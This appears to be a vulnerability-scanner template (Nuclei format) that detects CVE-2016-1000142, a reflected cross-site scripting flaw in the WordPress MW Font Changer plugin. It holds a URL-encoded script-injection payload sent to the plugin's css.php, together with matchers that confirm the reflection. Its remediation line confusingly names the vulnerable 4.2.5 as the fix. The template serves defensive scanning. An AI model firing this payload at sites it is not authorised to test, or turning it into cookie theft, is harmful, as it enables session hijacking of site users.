id: CVE-2016-1000142

info:
  name: WordPress MW Font Changer <=4.2.5 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress MW Font Changer plugin 4.2.5 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Allows remote attackers to execute arbitrary script or HTML code in the context of the affected site, potentially leading to session hijacking, defacement, or data theft.
  remediation: |
    Update to the latest version of the WordPress MW Font Changer plugin (4.2.5) or remove the plugin if it is not necessary.
  reference:
    - https://wpscan.com/vulnerability/4ff5d65a-ba61-439d-ab7f-745a0648fccc
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=435
    - https://wordpress.org/plugins/parsi-font
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000142
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000142
    cwe-id: CWE-79
    epss-score: 0.00103
    epss-percentile: 0.415
    cpe: cpe:2.3:a:parsi-font_project:parsi-font:4.2.5:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: parsi-font_project
    product: parsi-font
    framework: wordpress
  tags: cve2016,wordpress,wp-plugin,xss,wpscan,cve,parsi-font_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/parsi-font/css.php?size=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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